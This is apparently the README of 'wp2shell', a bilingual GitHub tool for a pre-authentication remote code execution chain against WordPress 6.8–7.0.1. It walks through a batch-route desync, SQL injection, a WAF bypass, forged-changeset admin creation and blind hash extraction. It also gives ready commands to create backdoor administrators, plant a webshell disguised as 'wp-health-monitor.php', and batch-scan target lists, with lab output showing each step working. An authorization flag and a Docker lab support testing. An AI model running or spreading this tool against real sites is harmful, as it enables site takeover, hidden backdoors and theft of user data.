wp2shell
July 19, 2026 · View on GitHub
中文概要 | English README ↓
预认证 WordPress Core REST API 远程代码执行漏洞利用工具(CVE-2026-63030 + CVE-2026-60137,CVSS 9.8)。由 Adam Kues(Assetnote / Searchlight Cyber)发现,SQLi 同时致谢 TF1T、dtro、haongo。
- 完整 RCE 链:WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1
- 仅 SQLi 接收器(需 facilitating 插件/主题):6.8.0–6.8.5
- 已修复:6.8.6 / 6.9.5 / 7.0.2
本工具 Fork 自 ThomasNJordan/wp2shell(原始 PoC,作者 Thomas Jordan / st4ndard),融合了以下社区技术进行了大量增强:
- Changeset 伪造管理员创建(默认):通过 UNION SELECT 伪造 Customizer changeset 对象,利用 WordPress 对象缓存 + changeset 提权机制,不依赖 stacked queries 或 FILE 权限即可直接创建管理员账户(技术来源:vulhub / sergiointel)
- 内容型布尔盲注(默认):基于 HTTP 响应主体帖子数量做确定性 True/False 判定,无需 SLEEP 延迟,本地 10 秒内完成 34 字符 hash 提取
- 版本自动检测:REST API → HTML meta → Feed 三级指纹,自动区分 full_chain / sqli_only / patched
- 批量扫描:
-f hosts.txt+-t 10多线程并发 - 取证证据:
--proof提取@@version+current_user() - 远程安全守卫:
--authorized强制远程授权确认 - 重定向安全:301/302 保持 POST body,cdn/waf 环境下更可靠
- 多路径降级兜底:Changeset 管理员创建 → UNION OUTFILE → stacked INSERT → legacy OUTFILE → 布尔盲注提取 hash
- SLEEP 时序盲注保留:
--time-based作为降级选项 - Docker 测试环境:
${WP_TAG}参数化,一键切换漏洞/修复版本
wp2shell
Pre-authentication RCE exploit for WordPress Core REST API (CVE-2026-63030 + CVE-2026-60137 | CVSS 9.8).
____ _ _ _
__ ___ __ |___ \ ___| |__ ___| | |
\ \ /\ / / '_ \ __) / __| '_ \ / _ \ | |
\ V V /| |_) |/ __/\__ \ | | | __/ | |
\_/\_/ | .__/|_____|___/_| |_|\___|_|_|
|_| CVE-2026-63030
Overview
HTTP/HTTPS wp2shell PoC with advanced capabilities for impact demonstration on improperly configured WordPress sites. Forked from ThomasNJordan/wp2shell (original PoC by Thomas Jordan / st4ndard), significantly enhanced with techniques from vulhub/vulhub, 0xsha/wp2shell, and dinosn/wp2shell-lab.
Affected versions:
| Classification | Versions | Description |
|---|---|---|
| Full RCE chain | 6.9.0–6.9.4, 7.0.0–7.0.1 | CVE-2026-63030 (batch confusion) + CVE-2026-60137 (SQLi) |
| SQLi sink only | 6.8.0–6.8.5 | CVE-2026-60137 present, needs facilitating plugin/theme |
| Fixed | 6.8.6 / 6.9.5 / 7.0.2 | Patched |
Discovered by Adam Kues (Assetnote / Searchlight Cyber); SQLi also credited to TF1T, dtro, haongo.
Exploit chain:
- Batch-route desync via
$validation/$matchesindex misalignment - Re-entrancy through nested batch dispatch (no
is_dispatching()guard) - SQL injection via unsanitized
author__not_instring bypass inWP_Query - Optional CloudFront WAF bypass using
GET + _method=POSTwith PHP array params
Key Enhancements
Changeset-Forging Admin Creation (Default)
Creates a new administrator account without stacked queries or FILE privilege — the only admin-creation technique that works on default WordPress configurations. Leverages WordPress's Customizer changeset workflow:
- Seeds 3 real
oembed_cacheposts via UNION SELECT +[embed]shortcode - Blind-extracts cache post IDs, table prefix, and existing admin user ID
- UNION SELECT returns 7 forged
wp_postsrows reusing the cache post IDs, including a forgedcustomize_changesetwhosenav_menu_itemsettings carry the existing admin'suser_id - WordPress caches forged rows as
WP_Postobjects; changeset publish callswp_set_current_user(admin_id), temporarily elevating privileges POST /wp/v2/userssub-requests in the same batch bypasscurrent_user_can('create_users')— new admin created
Credit: vulhub / sergiointel.
Content-Based Boolean Oracle (Default)
Uses response body post count as a deterministic True/False oracle — no SLEEP required. Extracts a 34-character bcrypt hash in ~10 seconds locally, vs minutes-to-hours for timing-based approaches.
Phase 2: "Confirming SQL injection via nested batch (content-based)..."
Phase 2: "Content oracle verified: 1=1→True, 1=0→False"
Automatic Version Detection
Three-tier fingerprinting (REST API → HTML meta → Feed), classifies targets as full_chain, sqli_only, or patched before exploitation:
[+] WordPress version: 6.9.4 — VULNERABLE (full RCE chain)
[!] WordPress version: 6.8.3 — SQLi present but batch confusion NOT reachable
[-] WordPress version: 6.9.5 — patched or out of range
Multi-Path RCE Fallback Chain
Phase 3a: UNION SELECT INTO OUTFILE (fastest — needs MySQL FILE privilege)
Phase 3b: Changeset-forging admin creation (default — works everywhere, ~2 min)
└─ fallback: stacked INSERT admin (needs multi_query, rare)
Phase 3c: legacy subquery OUTFILE (needs FILE priv + secure_file_priv)
Phase 3d: blind extraction → hash crack (slow but universal fallback)
Batch Scanning
python3 wp2shell.py -f targets.txt --check
python3 wp2shell.py -f targets.txt --check --json --proof -t 20
Forensic Evidence (--proof)
Reads @@version and current_user() from the database as read-only proof:
python3 wp2shell.py http://target --extract "dummy" --proof
# [+] @@version: 8.0.45
# [+] current_user(): wpuser@%
Usage
python wp2shell.py <target> <mode> [options]
python wp2shell.py -f hosts.txt --check [options] # batch scan
Modes
| Flag | Description |
|---|---|
--check | Non-destructive vulnerability probe only |
--exploit | Full pre-auth RCE chain |
--create-admin-only | Create admin via changeset forgery and exit (no RCE) |
--shell | Deploy shell with known admin creds |
--cleanup | Remove deployed webshell |
--extract SQL | Extract data via blind SQLi |
Options
| Flag | Description | Default |
|---|---|---|
--proxy PROXY | HTTP proxy (e.g. http://127.0.0.1:8080) | None |
--timeout TIMEOUT | HTTP timeout in seconds | 30 |
--table-prefix PREFIX | WordPress table prefix | wp_ |
--webroot PATH | Server webroot for OUTFILE | /var/www/html |
--shell-key KEY | Webshell auth key | Random |
--admin-user USER | Admin username (for --exploit/--create-admin-only/--shell/--cleanup) | Random |
--admin-pass PASS | Admin password (for --exploit/--create-admin-only/--shell/--cleanup) | Random |
--skip-outfile | Skip SELECT INTO OUTFILE attempt | Off |
--no-union-outfile | Skip UNION SELECT INTO OUTFILE attempt | Off |
--no-create-admin | Skip admin creation (changeset + stacked INSERT) | Off |
--sleep DURATION | SLEEP duration for blind SQLi | 0.15 |
--time-based | Use SLEEP-based timing oracle (fallback) | Off |
--skip-version-check | Skip version detection (use when fingerprint fails) | Off |
-f, --file FILE | File with one target URL per line (# comments ok) | None |
-t, --threads N | Concurrent workers for batch scan | 10 |
--authorized | Assert authorization for remote targets | Off |
--json | Emit JSON output (for batch scan) | Off |
--proof | Read @@version + current_user() as evidence | Off |
-v, --verbose | Verbose output | Off |
Examples
# Check if target is vulnerable (non-destructive)
python wp2shell.py https://target.com --check
# Full exploit chain (changeset admin creation → webshell → RCE)
python wp2shell.py https://target.com --exploit -v
# Create admin account only, no RCE (verify with blind SQLi)
python wp2shell.py https://target.com --create-admin-only
# Create admin with custom credentials
python wp2shell.py https://target.com --create-admin-only \
--admin-user backdoor --admin-pass 'Str0ng!P@ss'
# Full exploit with SLEEP timing fallback (slower, no posts needed)
python wp2shell.py https://target.com --exploit --time-based --sleep 3
# Skip admin creation, go straight to hash extraction
python wp2shell.py https://target.com --exploit --no-create-admin
# Extract arbitrary data via blind SQLi
python wp2shell.py https://target.com --extract "SELECT user_login FROM wp_users LIMIT 1"
# Read-only forensic evidence
python wp2shell.py https://target.com --extract "dummy" --proof
# Deploy shell with known admin creds
python wp2shell.py https://target.com --shell --admin-user admin --admin-pass password123
# Cleanup deployed webshell
python wp2shell.py https://target.com --cleanup --admin-user admin --admin-pass password123 --shell-key <key>
# Batch scan (non-destructive detection)
python wp2shell.py -f targets.txt --check
# Batch scan with JSON output + forensic evidence
python wp2shell.py -f targets.txt --check --json --proof -t 20
# Remote targets require --authorized
python wp2shell.py https://example.com --check --authorized
# Skip version check when fingerprinting fails
python wp2shell.py https://target.com --exploit --skip-version-check
Requirements
- Python 3.8+
requests
pip install requests
Lab Environment
A reproducible Docker lab ships with the tool. The compose file is parameterised so you can validate both vulnerable and patched versions with a single command.
File Structure
lab/
├── docker-compose.yml ← ${WP_TAG} parameterised (default: 6.9.4)
├── Makefile ← one-command lab lifecycle
└── mysql-init.sql ← GRANT FILE (only needed for OUTFILE testing)
The lab models a normal/managed host by default — the DB user has ALL ON wordpress.* without global FILE privilege, exactly matching production WordPress deployments. The optional mysql-init.sql adds FILE for UNION SELECT INTO OUTFILE testing.
Quick Start
make up # WordPress 6.9.4 (vulnerable) + MySQL 8.0, port 8889
make check # non-destructive probe against the lab
make exploit # full RCE chain
make proof # forensic evidence extraction (@@version + current_user)
make patched # tear down, rebuild on WP 7.0.2, re-check
make down # tear down (removes volumes)
# Custom versions — switch with env vars
WP_TAG=6.9.4 make up # vulnerable (default)
WP_TAG=7.0.2 make up # patched
WP_TAG=6.8.3 make up # SQLi-only branch
WP_PORT=8093 make up # custom port
Default credentials: admin / Admin!2345 (one published post for content oracle).
FILE Privilege (OUTFILE Testing)
The mysql-init.sql grants FILE ON *.* TO 'wpuser'@'%' and the compose file mounts wp_data as a shared volume into the MySQL container. This lets you verify UNION SELECT INTO OUTFILE in a controlled environment. Remove or comment out the mysql-init.sql volume mount to revert to the default no-FILE configuration.
Verification Examples
All examples below were verified against the local Docker lab (WordPress 6.9.4, MySQL 8.0).
1. Version Detection + Non-Destructive Probe
$ python3 wp2shell.py http://127.0.0.1:8889 --check
[+] WordPress version: 6.9.4 — VULNERABLE (full RCE chain)
[+] VULNERABLE - desync confirmed: categories received block-renderer handler
2. Changeset Admin Creation (No RCE)
$ python3 wp2shell.py http://127.0.0.1:8889 --create-admin-only
[+] Content oracle verified: 1=1→True, 1=0→False
[*] Seeding 3 oEmbed cache posts...
[*] Extracting table prefix and admin user ID...
[+] Posts table: wp_posts, admin ID: 1
[*] Recovering oEmbed cache post IDs...
[+] Cache post IDs: [5, 6, 7]
[*] Publishing forged changeset → creating administrator...
[+] Administrator 'w2s_xxxxxx' created and verified!
[+] === ADMIN CREATED ===
[+] Username: w2s_xxxxxx
[+] Password: <random>
[+] Email: w2s_xxxxxx@wp2shell.local
3. Full RCE Chain (Changeset Admin + Webshell)
Changeset creates admin (~2 min) → automatic login → plugin upload → webshell:
$ python3 wp2shell.py http://127.0.0.1:8889 --exploit -v
[+] WordPress version: 6.9.4 — VULNERABLE (full RCE chain)
[+] Content oracle verified
[+] Administrator 'wp_support_xxxxxx' created and verified!
[+] Plugin uploaded
[+] Webshell verified at http://127.0.0.1:8889/.../wp-health-monitor.php
4. Forensic Evidence Extraction
Read @@version and current_user() from the database as read-only proof that the SQL injection channel is active:
$ python3 wp2shell.py http://127.0.0.1:8889 --extract "dummy" --proof
[+] @@version: 8.0.45
[+] current_user(): wpuser@%
5. Deploy Webshell (Known Credentials)
$ python3 wp2shell.py http://127.0.0.1:8889 --shell \
--admin-user admin --admin-pass 'Admin!2345' -v
[+] Authenticated as admin
[+] Plugin uploaded
[+] Webshell verified at http://127.0.0.1:8889/wp-content/plugins/.../wp-health-monitor.php
6. Batch Scan
$ echo "http://127.0.0.1:8889" > targets.txt
$ python3 wp2shell.py -f targets.txt --check
[VULNERABLE] http://127.0.0.1:8889 (WP 6.9.4, full_chain)
summary: 1 scanned | vulnerable=1 affected=0 not_vuln=0 error=0
7. Remote Target Authorization Guard
$ python3 wp2shell.py https://example.com --check
[-] Remote target requires --authorized.
[!] Only test assets you own or are explicitly authorized.
8. Validate the Fix (Patched Version)
$ make patched
WordPress 7.0.2 installed
$ python3 wp2shell.py http://127.0.0.1:8889 --check
[-] WordPress version: 7.0.2 — patched or out of range
Technique Comparison: Admin Creation
| Method | Technique | Requirements | Speed | Default? |
|---|---|---|---|---|
| Changeset forgery | UNION SELECT → forged changeset → wp_set_current_user() → POST /wp/v2/users | ≥1 published post | ~2 min | ✅ |
| Hash extraction + crack | Blind SQLi → bcrypt hash → hashcat → login | Crackable password | hours | Fallback |
| Stacked INSERT | SELECT 1;INSERT INTO wp_users... | mysqli_multi_query enabled | seconds | Fallback |
| UNION INTO OUTFILE | UNION SELECT ... INTO OUTFILE | MySQL FILE privilege | seconds | Fallback |
Credits
- Original PoC: ThomasNJordan/wp2shell (Thomas Jordan / st4ndard)
- Changeset-forging admin creation: vulhub/vulhub / sergiointel
- Unified PoC techniques: 0xsha/wp2shell
- Detector design & lab patterns: dinosn/wp2shell-lab
- Vulnerability discovery: Adam Kues (Assetnote / Searchlight Cyber)
- SQLi credit: TF1T, dtro, haongo
License
MIT — for authorized security testing only.